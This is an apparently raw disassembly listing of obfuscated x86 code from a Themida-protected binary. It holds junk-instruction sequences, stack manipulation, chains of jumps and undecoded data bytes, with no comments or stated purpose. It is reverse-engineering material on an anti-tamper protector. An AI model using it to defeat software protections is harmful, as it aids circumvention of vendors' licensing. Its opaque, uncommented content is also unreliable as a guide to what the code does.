loc_54BAFE:				; CODE XREF: Themida_:0054CC1Aj
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		push	ecx
		jmp	loc_546FDD
; ---------------------------------------------------------------------------
		db 0C0h, 0E7h, 6
		dd 125CE9h, 4BE5600h, 81000000h, 0AC04246Ch, 14B4071h
		dd 0E9042474h, 0FFFFE93Fh
; ---------------------------------------------------------------------------

loc_54BB3C:				; CODE XREF: Themida_:0054A66Bj
		and	eax, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	1B6Fh
		mov	[esp], ebp
		mov	ebp, 0FFFFFFFFh
		sub	[edi+24h], ebp
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_54CC19
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFF8FA6h
; ---------------------------------------------------------------------------

loc_54BB6C:				; CODE XREF: Themida_:0054CE80j
		neg	edx
		dec	edx
		sub	edx, 4A3BEC8Ah
		sub	eax, edx
		pop	edx
		add	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		bt	[esp], ax
		pushf
		jmp	loc_544B12
; ---------------------------------------------------------------------------
		db 58h,	0F7h, 0D3h
		dd 0FFF92EE9h, 0BB6653FFh, 81661F70h, 661EB7C3h, 366DCB81h
		dd 81664366h, 0E91279C3h, 20ADh
; ---------------------------------------------------------------------------

loc_54BBC4:				; CODE XREF: Themida_:0054CFE5j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		xchg	edx, [esp]
		mov	esp, [esp]
		jmp	loc_54C737
; ---------------------------------------------------------------------------
		dd 4C381h, 0C3810000h, 4, 5C241C87h, 0E9E18951h, 93Eh
; ---------------------------------------------------------------------------

loc_54BBF4:				; CODE XREF: Themida_:005509BEj
		push	esi
		mov	esi, 3CCB081Fh
		or	esi, 42C155BFh
		jmp	loc_5482DC
; ---------------------------------------------------------------------------
		db 5Fh,	0E9h, 0F0h
		dd 1FFFFE2h, 0E9435AD3h, 23A7h
; ---------------------------------------------------------------------------

loc_54BC14:				; CODE XREF: Themida_:005483BFj
		pop	esp
		mov	[esp], edx
		push	3730FB50h
		pop	edx
		sub	eax, edx
		pop	edx
		push	28F8h
		jmp	loc_55062F
; ---------------------------------------------------------------------------
		db 81h
		dd 0FF3C92C3h, 0EB81593Fh, 32ED5628h, 0D8E9C301h, 57FFFFC9h
		dd 0FB6931BFh, 7EFC15Ch, 10D5C781h, 0EFC17543h,	93BE5603h
		dd 13B396Eh, 1EDE9F7h, 8B660000h, 68552404h, 1530h, 81242489h
		dd 42404h, 2C8B0000h, 4C48124h,	83000000h, 148904ECh, 18FF6824h
		dd 3C890000h, 1E78BF24h, 8CBA7C15h, 183EAE1h, 0D5015FFAh
		dd 0E92434FFh, 23D4h, 0BF575A5Bh, 6E763DECh, 5002E7C1h
		dd 0CA6BA4B8h, 0A9BB5379h, 815B8F15h, 9439C8C3h, 3F38120h
		dd 4B6D6A62h, 0FFD802E9h, 0E9F129FFh, 4A1h, 0E981D129h
		dd 64CC2134h, 5AE9815Ah, 0E96ED57Eh, 0FFFFC310h, 31B6859h
		dd 1C890000h, 0DC96E924h, 8B66FFFFh, 94682404h,	8900001Dh
		dd 0B8E9242Ch, 89000037h, 4C781E7h, 83000000h, 3C8704C7h
		dd 48F5C24h, 0F665C24h,	9C2404ABh, 0FF8DF1E9h, 24048FFFh
		dd 8324248Bh, 348904ECh, 0E9DE8924h, 1EB3h
; ---------------------------------------------------------------------------

loc_54BD34:				; CODE XREF: Themida_:005457E8j
		xchg	ebx, ecx
		not	ebx
		jmp	loc_54C609
; ---------------------------------------------------------------------------
		db 1, 0EFh, 81h
		dd 4B246AC7h, 3FC78113h, 5D56A55Ch, 8B243C87h, 66642424h
		dd 0B7E90289h, 53FFFF8Dh, 4773D4BBh, 445BE914h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54BD66:				; CODE XREF: Themida_:00547C22j
		add	edi, eax
		pop	eax
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	eax
		sub	esp, 4
		jmp	loc_54CD9C
; ---------------------------------------------------------------------------
		dd 8124348Bh, 4C4h, 24348B00h, 63F268h,	242C8900h, 0C581E589h
		dd 4, 5382BB53h, 0D3F73D1Ah, 5887B951h,	0BEE951E5h, 0B5FFFFD3h
		dd 89E95059h, 0C100001Eh, 0F58105E5h, 6F928F64h, 5B07E981h
		dd 0E9012EA2h, 5B07C181h, 555D2EA2h, 4BDh, 0A9C18100h
		dd 0E974E673h, 0FFFFE6CDh, 4781BE56h, 0F0015DACh, 79DF055Eh
		dd 0D0291B3Ch, 56F1BA52h, 814A2318h, 533917E2h,	346FE91Ah
		dd 81660000h, 663EC6F6h, 555EF289h, 61A0BD66h, 0FFFD9CE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54BE0D:				; CODE XREF: Themida_:00549B5Bj
		add	ebp, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	edx
		mov	edx, 4
		jmp	loc_550A6F
; ---------------------------------------------------------------------------
		db 81h
		dd 4E9h, 52FE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54BE2E:				; CODE XREF: Themida_:0055063Bj
		add	esp, 4
		sub	edi, 29733C87h
		push	edi
		jmp	loc_54DCE5
; ---------------------------------------------------------------------------
aZhi		db 'ZhК#',0
		align 2
aSn7		db 'И█7',0
		dw 5E00h
		dd 0F83F781h, 47E949F9h
		db 0A6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54BE57:				; CODE XREF: Themida_:0054643Aj
		jmp	loc_544B12
; ---------------------------------------------------------------------------
		dd 53242C89h, 277541BBh, 81DBF764h, 0BE517CC3h,	37EB8122h
		dd 89BE96DCh, 0E9015BDDh, 51242C8Bh, 0C181E189h, 4, 5A9968h
		dd 241C8900h, 0DE020FBBh, 81DBF73Ah, 123C79CBh,	0EB814B0Ah
		dd 0CF33FDF4h, 0FFCDB1E9h, 84C281FFh, 0E91C0C16h, 0FFFFBEE6h
		dd 0DDEA815Bh, 15BE43Eh, 0BA7FE9D3h, 348BFFFFh,	4C48124h
		dd 68000000h, 7A5Ah, 0E9243C89h, 0FFFFA10Bh, 71468BBh
		dd 81DBF72Eh, 322531EBh, 9DC3815Ch, 0E98A3939h,	0FFFFAC51h
		dd 0B11C66B8h, 58C3313Ch, 0DE9D3F7h
		db 3Dh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54BEFB:				; CODE XREF: Themida_:00550871j
		mov	[esp], ebx
		mov	ebx, 4
		add	edi, ebx
		jmp	loc_547C6B
; ---------------------------------------------------------------------------
		dw 1489h
		dd 54BDBA24h, 0F2816798h, 4BB33826h, 49E9D121h,	53FFFF9Ah
		dd 0C3815B54h, 4, 4C381h, 1C870000h, 3AE95C24h,	8B000028h
		dd 0C481243Ch, 4, 0F181D9F7h, 0B2D4109Dh, 0E959CA31h, 459Bh
		dd 8904EC83h, 4BB241Ch,	81000000h, 0F70592C2h, 81DA013Bh
		dd 0F70592EAh, 3FBDE93Bh, 2AB10000h, 0AF7E9h, 801FB200h
		dd 0EA807AEAh, 94EA804Ch, 2BE9EA28h, 68000008h,	687Ah
		dd 0FFFECBE9h, 5AD388FFh, 0D928ACB1h, 81241C8Bh, 4C4h
		dd 51506600h, 0F58038B5h, 0E44E9E6h, 0C4830000h, 4EC8104h
		dd 89000000h, 0E789243Ch, 0FFC2D0E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54BFC1:				; CODE XREF: Themida_:0054C54Aj
		push	edi
		jmp	loc_54E342
; ---------------------------------------------------------------------------

loc_54BFC7:				; CODE XREF: Themida_:00547648j
		add	esi, 0E39FB902h
		mov	edx, esi
		jmp	loc_54B1A4
; ---------------------------------------------------------------------------

loc_54BFD4:				; CODE XREF: Themida_:005491DDj
		push	esp
		pop	edi
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_54C840
; ---------------------------------------------------------------------------
aYsB		db 'YИ B',0
		dd 0C6815E00h, 167D5F71h, 0C7815F58h, 7850710Eh, 0EF81F729h
		dd 7850710Eh, 81D7015Eh, 891C94C7h, 0F8315A51h,	1137E9h
		dd 81D60100h, 0A679C9EEh, 0EC815A13h, 4, 68240C89h, 0E78h
		dd 0BB241C89h, 218A16EBh, 2A9EB81h, 0CB8165D1h,	0DB867ABh
		dd 27CFC381h, 0D3F7557Eh, 5508E3C1h, 9C32A4BDh,	0C6F5814Dh
		dd 0F726E846h, 6EDC1D5h, 4D08EDC1h, 0F45AED81h,	0ADE97821h
		db 99h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54C06B:				; CODE XREF: Themida_:00549916j
		mov	esi, 354A7A07h
		shr	esi, 3
		xor	esi, 1C1F1557h
		jmp	loc_550B0F
; ---------------------------------------------------------------------------
		dw 0BE56h
		dd 4AF600AAh, 7FFCC681h, 4E4E628Dh, 32F4E9h, 2424D300h
		dd 0D257E99Ch, 665CFFFFh, 2404AB0Fh, 8A6CE99Ch,	0C483FFFFh
		dd 21AC6804h, 2C890000h, 550F6824h, 685D4ECBh, 0
		dd 0E9242C29h, 1177h, 240C8B66h, 8904EC83h, 0E389241Ch
		dd 42D8BA52h, 0EAC12C39h, 3BC2E902h, 0C4810000h, 4, 2474FF51h
		dd 240C8B04h, 0FFF502E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54C0F1:				; CODE XREF: Themida_:0054F9C2j
		add	ebp, 76E75613h
		pop	edx
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_549F93
; ---------------------------------------------------------------------------

loc_54C112:				; CODE XREF: Themida_:0054F199j
		push	ecx
		jmp	loc_54599A
; ---------------------------------------------------------------------------

loc_54C118:				; CODE XREF: Themida_:0054F595j
		mov	[esp], ax
		jmp	loc_544B12
; ---------------------------------------------------------------------------
		db 8Bh,	1Ch, 24h
		dd 8904EC83h, 0E0892404h, 405h,	0B926E900h, 0E953FFFFh
		dd 0FFFF933Fh, 535EBA52h, 32E934F6h, 52FFFFBEh,	0ED685253h
		dd 5A5D097Ch, 6C67C281h, 0C281781Fh, 9BE13AAEh,	0FFCA4DE9h
		dd 4EC281FFh, 154DB7Fh,	0D8015AD0h, 2FB3E9h, 0ECE95E00h
		dd 0F00004Fh, 6866C0B6h, 73E94EE9h
		db 2Ch,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54C183:				; CODE XREF: Themida_:00545D8Aj
		add	esp, 4
		jmp	loc_5452B2
; ---------------------------------------------------------------------------

loc_54C18B:				; CODE XREF: Themida_:0054FDEBj
		shr	esi, 8
		add	esi, 35052EEDh
		push	edi
		mov	edi, 56C0759Ah
		sub	edi, 9CA79CBh
		push	edi
		neg	dword ptr [esp]
		pop	edi
		jmp	loc_54ECC6
; ---------------------------------------------------------------------------
		dw 0D929h
		dd 8BCF015Bh, 0C481240Ch, 4, 8B243C87h,	0F1F72424h, 0E904EC83h
		dd 0FFFFAADEh, 0D388C288h, 3C1E95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54C1D2:				; CODE XREF: Themida_:00545018j
		mov	bh, 35h
		add	bh, 30h
		xor	al, bh
		pop	ebx
		jmp	loc_54A890
; ---------------------------------------------------------------------------
		db 50h
		dd 0ECE0E953h, 4BDFFFFh, 1000000h, 0C2815DEAh, 4, 4EC81h
		dd 47E90000h, 0BA000019h, 4, 0FFA65AE9h, 7AF281FFh, 812E907Dh
		dd 2DC23BEAh, 0E603E972h, 815CFFFFh, 2C7h, 0A943E900h
		dd 0C281FFFFh, 8C218205h, 525AD501h, 2A605CBAh,	0AAF28177h
		dd 0E9736846h, 2218h, 0FF241489h, 0E9042474h, 0FFFFE2E5h
; ---------------------------------------------------------------------------

loc_54C24C:				; CODE XREF: Themida_:0054FC5Bj
		mov	[esp], edx
		push	ecx
		mov	ecx, 43D26A27h
		jmp	loc_5457F3
; ---------------------------------------------------------------------------
		dw 77FFh
		dd 1DBA523Ch, 816C3E25h, 751058C2h, 0ABE9423Eh,	81FFFFBBh
		dd 863A85F6h, 0FFEB812Fh, 1410F3Bh, 0FFC381F3h,	8B410F3Bh
		dd 0C4812434h, 4, 4BE56h, 0F3010000h, 241C875Eh, 3024248Bh
		dd 0C3305AF0h, 0FFFED2E9h, 242C8BFFh, 4C481h, 53E90000h
		dd 80FFFFD8h, 0FD28BBF7h, 59E8285Bh, 0FE0DB353h, 5EBC0C3h
		dd 0FAB65266h, 5A66F328h, 4EC81h, 14890000h, 0F2B7E924h
		dd 0C483FFFFh, 66C13004h, 0E924048Bh, 0FFFFC1D3h, 534C212Dh
		dd 0BCBA526Eh, 0E96AE410h, 314Ch, 0E38061B3h, 74C380ACh
		dd 805BDA00h, 0E9504CC2h, 0FFFF8C90h, 0D8242C81h, 1280377h
		dd 4812404h, 377D824h, 24048128h, 701C720Fh, 1051E9h
		db 0
; ---------------------------------------------------------------------------

loc_54C329:				; CODE XREF: Themida_:00546033j
		mov	esi, 35614884h
		neg	esi
		xor	esi, 5AA43833h
		inc	esi
		and	esi, 23A5072Bh
		dec	esi
		add	esi, 46EA1E39h
		add	ebx, esi
		pop	esi
		push	ebp
		push	8A6692C3h
		pop	ebp
		jmp	loc_54F809
; ---------------------------------------------------------------------------
		db 0ACh
		dd 0D800992Ch, 733E9h, 240C8700h, 240C895Ch, 0DF75C2B9h
		dd 7D842D31h, 0EC837067h, 240C8904h, 0FFAD96E9h, 8FE9ACFFh
		dd 0B800001Bh, 40h, 0FF8BA5E9h,	0D3665CFFh, 0E99C240Ch
		dd 0FFFF877Eh, 1C89E781h, 6CE93D06h, 58FFFFC0h,	3D62E9h
		dd 5EDC000h, 8004EDC0h,	0EAE974F5h, 51FFFFD6h, 0D081E952h
		dd 487FFFFh, 52665C24h,	0FFB94AE9h, 35D0F7FFh, 523CDA0Fh
		dd 0FFAAD1E9h, 38E951FFh, 1FFFFF4h, 1EE959CDh
		db 0A9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54C3DF:				; CODE XREF: Themida_:00546019j
		push	ecx
		jmp	loc_54C6EA
; ---------------------------------------------------------------------------
aSp1		db '[И╞1',0
		db 0
; ---------------------------------------------------------------------------

loc_54C3EB:				; CODE XREF: Themida_:0054761Bj
		shr	esi, 2
		shl	esi, 3
		xor	esi, 0D7C71119h
		xor	ecx, esi
		pop	esi
		shl	ecx, 6
		and	ecx, 3D6A74BBh
		push	ebx
		mov	ebx, 1A59630Bh
		xor	ecx, ebx
		jmp	loc_54B7E2
; ---------------------------------------------------------------------------
		dd 0F703E2C1h, 196DE9D2h, 5E540000h, 60AD68h, 242C8900h
		dd 3000E9h, 24348900h, 4BEh, 1DE900h, 0E4B30000h, 5BD830h
		dd 4EE958C7h, 0F000004h, 12B384h, 4A106800h, 0A5E90000h
		dd 1FFFFC0h, 0E9042474h, 0FFFFE2F0h
; ---------------------------------------------------------------------------

loc_54C45C:				; CODE XREF: Themida_:00544DFDj
		xor	edi, 0DF72E11Fh
		add	ebx, edi
		jmp	loc_547C84
; ---------------------------------------------------------------------------

loc_54C469:				; CODE XREF: Themida_:005450A3j
		and	dh, 0D3h
		push	476Dh
		jmp	loc_54E1F3
; ---------------------------------------------------------------------------
		dw 0D389h
		dd 5324148Bh, 0FBE9E389h, 0B5FFFFE5h, 94C6E9A5h, 814BFFFFh
		dd 3A39F1EBh, 0F7D3F70Dh, 4BBF57DBh, 8325C604h,	0DFF701EFh
		dd 9DC78147h, 0E950E4F6h, 21F1h
; ---------------------------------------------------------------------------

loc_54C4AC:				; CODE XREF: Themida_:00544DAFj
		add	ebx, 89E3A25h
		push	esi
		mov	esi, 98D5F08h
		add	ebx, esi
		jmp	loc_550B8E
; ---------------------------------------------------------------------------

loc_54C4BF:				; CODE XREF: Themida_:005475A5j
		mov	edi, esi
		pop	esi
		add	[esp+4], edi
		mov	edi, [esp]
		add	esp, 4
		mov	eax, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 5EAE053Fh
		dec	ebx
		sub	ebx, 0FFFFFFFFh
		sub	ebx, 0C5F31DEh
		jmp	loc_548C48
; ---------------------------------------------------------------------------
		db 83h
		dd 0C4E902C4h
		db 0FDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54C4EF:				; CODE XREF: Themida_:0054831Dj
		push	dword ptr [edx]
		push	edx
		mov	edx, 63D76B8Ch
		sub	[esp+4], edx
		pop	edx
		pop	eax
		jmp	loc_55102E
; ---------------------------------------------------------------------------

loc_54C502:				; CODE XREF: Themida_:0054CC31j
		mov	edx, 4
		jmp	loc_54E051
; ---------------------------------------------------------------------------

loc_54C50C:				; CODE XREF: Themida_:0054542Aj
		mov	ebx, eax
		pop	eax
		jmp	loc_54AA77
; ---------------------------------------------------------------------------

loc_54C514:				; CODE XREF: Themida_:0054D4A7j
		mov	eax, esp
		jmp	loc_54D59F
; ---------------------------------------------------------------------------
		db 66h
		dd 0E9240C8Bh, 0FFFFC147h, 5259CE89h, 967F7468h, 0DBF9E915h
		dd 0C181FFFFh, 4, 4BF57h, 0F9010000h, 9BE9515Fh
		db 0EFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54C547:				; CODE XREF: Themida_:0054A1EBj
		add	esp, 4
		jmp	loc_54BFC1
; ---------------------------------------------------------------------------

loc_54C54F:				; CODE XREF: Themida_:0054A8E6j
		mov	edx, [esp]
		add	esp, 4
		xor	[esp+4], ebx
		pop	ebx
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	ebp
		push	edi
		jmp	loc_5481D5
; ---------------------------------------------------------------------------
		dd 0B60F665Ch
		db 0C8h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	1C02h
		jmp	loc_5490B9
; ---------------------------------------------------------------------------
		dd 1E19EF81h, 0F7813097h, 758BF5FCh, 0B0E9FA31h, 5000001Ah
		dd 860E9h, 24348900h, 0C8895E59h, 56240C8Bh, 0C6815E54h
		dd 4, 0FFA9B1E9h, 815258FFh, 4ECh, 241C8900h, 31CCE9h
		dd 24048100h, 4, 4EC8358h, 68241C89h, 0FAE1D79h, 0FFA1DBE9h
		dd 241C89FFh, 468h, 241C8B00h, 4C481h, 0D8010000h, 8EE9505Bh
		dd 1FFFFC0h, 2434FFD5h,	8324148Bh, 0C48304C4h, 242C8704h
		dd 0FFE644E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54C609:				; CODE XREF: Themida_:0054BD38j
		push	39CBh
		mov	[esp], ecx
		push	ebx
		pop	ecx
		pop	ebx
		sub	esp, 4
		mov	[esp], eax
		push	3428h
		mov	[esp], ecx
		mov	eax, [esp]
		push	50F0h
		mov	[esp], edx
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		pop	ecx
		jmp	loc_546F4C
; ---------------------------------------------------------------------------
		dw 0E95Dh
		dd 0FFFFAE16h, 0C8BCE01h, 4C48124h, 87000000h, 0F5C2434h
		dd 0AD68C8B7h, 89000008h, 0ABE9240Ch, 68FFFF84h, 4926h
		dd 0B9240C89h, 4, 0CD44FA05h, 2DC8013Fh, 3FCD44FAh, 81240C8Bh
		dd 4ECh, 24048900h, 405E089h, 5000000h,	4, 5C240487h, 205h
		dd 74FF5000h, 8F580424h, 248B2404h, 24043024h, 845CE99Ch
		dd 0EF81FFFFh, 368367CBh, 3C8BFB01h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	ebx, 2
		jmp	loc_545CBE
; ---------------------------------------------------------------------------

loc_54C6DC:				; CODE XREF: Themida_:0054A712j
		add	edi, ebp
		pop	ebp
		sub	edi, 1E5B00F1h
		jmp	loc_550FB9
; ---------------------------------------------------------------------------

loc_54C6EA:				; CODE XREF: Themida_:0054C3E0j
		push	edx
		mov	edx, 2ED73974h
		inc	edx
		shr	edx, 4
		sub	edx, 0CC250CE2h
		jmp	loc_54ECFA
; ---------------------------------------------------------------------------
		db 66h
		dd 9DDBE953h, 2F25FFFFh, 2D562738h, 0DD79F7Ch, 0FFE7DBE9h
		dd 7E955FFh, 66000007h,	5224048Bh, 4212E954h, 0F1810000h
		dd 24E0756Ch, 719AC981h, 0F8E912E6h
		db 8Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54C737:				; CODE XREF: Themida_:0054BBD7j
		and	[esp], ax
		pushf
		jmp	loc_545EB2
; ---------------------------------------------------------------------------

loc_54C741:				; CODE XREF: Themida_:0054907Bj
		jnz	loc_545735
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 1
		push	7AF4h
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 4
		sub	ecx, ebx
		pop	ebx
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_54DEB3
; ---------------------------------------------------------------------------
		dd 0FF8391E9h, 48F54FFh, 24048124h, 4, 4B95158h, 1000000h
		dd 35E959C8h, 89000017h, 4C781E7h, 81000000h, 4C7h, 243C8700h
		dd 8360E95Ch, 0E953FFFFh, 0FFFFFB40h, 1EBB53FDh, 81613259h
		dd 7571E6CBh, 55D3F702h, 3CDDE9h, 0C8B6600h, 0E9545724h
		dd 0FFFFF42Dh, 42474FFh, 17CFE9h, 37E95700h, 51FFFF91h
		dd 0FFDC9BE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54C7ED:				; CODE XREF: Themida_:0054FD77j
		add	ebp, 4
		push	edx
		mov	edx, 4
		sub	ebp, edx
		pop	edx
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		push	7380h
		mov	[esp], esp
		jmp	loc_54D392
; ---------------------------------------------------------------------------
		dw 1C8Bh
		dd 4C48124h, 8B000000h,	0C483240Ch, 4EC8104h, 89000000h
		dd 0EFBA2414h, 811C0E09h, 0EC267BE9h, 0E2DDE959h, 0E958FFFFh
		dd 0FFFFC488h
; ---------------------------------------------------------------------------

loc_54C840:				; CODE XREF: Themida_:0054BFE2j
		pop	esp
		xchg	ecx, edx
		push	ecx
		not	dword ptr [esp]
		pop	ecx
		jmp	loc_546492
; ---------------------------------------------------------------------------
		db 21h,	0CBh, 59h
		dd 0FFC5CDE9h, 2434FFFFh, 592434FFh, 5304C483h,	0FFA177E9h
		dd 0E9E589FFh, 0FFFFBC95h
; ---------------------------------------------------------------------------

loc_54C86C:				; CODE XREF: Themida_:005461B7j
		sub	ecx, ebx
		push	ecx
		sub	dword ptr [esp], 25B7535Ah
		pop	ebx
		add	ebx, 25B7535Ah
		pop	ecx
		jmp	loc_54B54D
; ---------------------------------------------------------------------------
		db 81h
		dd 67825F1h, 59CE89A9h,	1945E9h, 28280400h, 5B282CF8h
		dd 0FFCE13E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54C89D:				; CODE XREF: Themida_:0054CBEEj
		sub	esi, 2DAEE5DAh
		xor	ecx, esi
		pop	esi
		sub	ebx, ecx
		pop	ecx
		movzx	ax, byte ptr [eax]
		jmp	loc_54F591
; ---------------------------------------------------------------------------

loc_54C8B2:				; CODE XREF: Themida_:00550703j
		pop	esp
		shl	eax, cl
		push	edi
		push	edx
		mov	edx, 0FFFFFFFFh
		mov	edi, edx
		pop	edx
		jmp	loc_54EC13
; ---------------------------------------------------------------------------
		dd 84B65266h, 0F6FBB551h, 52DDF6D5h, 3BE98BB6h,	0FFFFC1h
		dd 0D7AE9CBh, 95E0000h,	0F5CAE9DAh, 555FFFFFh, 6C670668h
		dd 90E95D63h, 5300002Fh, 0C381E389h, 4,	4BE56h,	0F3010000h
		dd 0FFC650E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54C909:				; CODE XREF: Themida_:00550623j
		push	ecx
		mov	ch, 99h
		mov	bh, ch
		pop	ecx
		xor	bh, 5Ah
		push	edx
		mov	dh, bh
		neg	dh
		mov	bh, dh
		pop	edx
		sub	esp, 4
		mov	[esp], edx
		mov	dl, 40h
		jmp	loc_54FDB8
; ---------------------------------------------------------------------------
		db 5Ch
		dd 0FFC7A9E9h, 664F66FFh, 5ED3F781h, 5FF80166h,	7C022D66h
		dd 32A3E9h, 3C895C00h, 4EC8124h, 89000000h, 0D0E9240Ch
		db 32h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54C953:				; CODE XREF: Themida_:0054A915j
		mov	edi, 0
		sub	edi, ebx
		jmp	loc_546128
; ---------------------------------------------------------------------------
		db 81h
		dd 0A00CD4C1h, 81C10157h, 0A00CD4E9h, 0C1815857h, 4, 12C8E9h
		dd 0F5815A00h, 0F38752AFh, 2C8BEE89h, 4C48324h,	4244481h
		dd 3E8F22ACh, 4247401h,	4246C81h, 3E8F22ACh, 8124348Bh
		dd 4C4h, 8168E900h, 63E9FFFFh, 66FFFF81h, 5724048Bh, 6855E789h
		dd 74E2h, 0BA241489h, 43C76E54h, 44F2E9h, 1DCA8100h, 8125374Dh
		dd 3A0292CAh, 0A885E93Fh, 0F289FFFFh, 0E95AD189h, 0FFFFC0DFh
		dd 0E904C283h, 0FFFFEAB8h, 592434FFh, 0FFF8E5E9h, 2474FFFFh
		dd 6EE95D04h
		db 0EFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54C9FF:				; CODE XREF: Themida_:005505AAj
		push	ecx
		push	esi
		mov	esi, ebx
		mov	ecx, esi
		pop	esi
		push	edi
		mov	edi, ecx
		push	ebx
		push	edi
		push	eax
		push	ecx
		push	0F20543Ch
		pop	ecx
		shr	ecx, 5
		xor	ecx, 3A4F198Ah
		mov	eax, ecx
		pop	ecx
		xor	[esp+4], eax
		pop	eax
		pop	ebx
		xor	ebx, 3A361B2Bh
		mov	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_546E2C
; ---------------------------------------------------------------------------
		dw 6852h
		dd 3D616DCh, 5A2434FFh,	3104C483h, 3548E9D1h, 5B570000h
		dd 81243C8Bh, 4C4h, 87DFF700h, 2EBC1FBh, 0FFECDCE9h, 4C281FFh
		dd 0E9000000h, 0FFFFBD04h, 2806F180h, 0F02859C8h, 53662C04h
		dd 0B5519DB3h, 59E80030h, 302CD828h, 5A665B66h,	0E904EC83h
		dd 0FFFFE17Eh, 48E95166h
		db 0F7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54CA97:				; CODE XREF: Themida_:0054F222j
		sub	al, dh
		add	al, 0DCh
		pop	edx
		sub	al, 5Dh
		push	edx
		mov	dl, 7
		add	al, 8Eh
		jmp	loc_547FE4
; ---------------------------------------------------------------------------
		dd 8EBE565Ch, 813D1863h, 0E79C76C6h, 5EF201C2h,	513E9h
		dd 4C48300h, 0B60FC330h, 8734FFC0h, 0FF8045E9h,	240C8BFFh
		dd 0FFA948E9h
		db 0FFh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_54AA3E
; ---------------------------------------------------------------------------
		db 56h,	0BEh, 0Eh
aS6		db '<ч=И>6',0
		align 4
		dd 0DE10EE81h, 0F1311F18h, 0C78E9h, 241C8900h, 18B0E9h
		dd 5BDA3100h, 34FFD021h, 24148B24h, 6804C483h, 7BB1h, 89240489h
		dd 0CE951E0h, 55000015h, 0F06A77BDh, 8BE92915h,	0C1E9242Ch
		dd 8B00003Ch, 0C481243Ch, 4, 5C24048Fh,	9C240408h, 0FF7FD1E9h
		dd 2474FFFFh, 43E95F04h
		db 15h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54CB4B:				; CODE XREF: Themida_:00550539j
		xchg	edi, ecx
		push	eax
		push	ecx
		jmp	loc_549C8B
; ---------------------------------------------------------------------------

loc_54CB54:				; CODE XREF: Themida_:00550F13j
		mov	eax, esp
		push	ecx
		mov	ecx, 7A0762FCh
		dec	ecx
		sub	ecx, 22433307h
		not	ecx
		xor	ecx, 31E67DE3h
		xor	ecx, 4C0A02DBh
		sub	ecx, 0D5D7AF2Fh
		add	eax, ecx
		pop	ecx
		push	edi
		jmp	loc_5458DF
; ---------------------------------------------------------------------------

loc_54CB80:				; CODE XREF: Themida_:0054A9D9j
		xchg	ebp, edi
		push	0
		push	ecx
		mov	ecx, 29083700h
		sub	[esp+4], ecx
		jmp	loc_544E38
; ---------------------------------------------------------------------------
		dw 0C601h
		dd 8BF58958h, 0C4812434h, 4, 4246C31h, 3B47E9h
		db 0
; ---------------------------------------------------------------------------

loc_54CBAD:				; CODE XREF: Themida_:0054DCE8j
		add	esp, 4
		mov	edi, [esp]
		add	esp, 4
		sub	eax, 3B496F70h
		sub	eax, edx
		push	edi
		mov	edi, 1FD97FF9h
		dec	edi
		xor	edi, 74F09BCh
		dec	edi
		inc	edi
		sub	edi, 0DD4D06D4h
		add	eax, edi
		jmp	loc_548E5A
; ---------------------------------------------------------------------------
		dd 4180C681h, 98E91A48h
		db 12h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54CBE7:				; CODE XREF: Themida_:00547CC6j
		sub	esi, 0FFFFFFFFh
		dec	esi
		jmp	loc_54C89D
; ---------------------------------------------------------------------------
		db 5Ch
		dd 17E930FFh, 83FFFF7Fh, 0C20104C4h, 2F806850h,	2558016Eh
		dd 604A2A71h, 6853D0F7h, 7AE7h,	0FFB795E9h
		db 0FFh
; ---------------------------------------------------------------------------

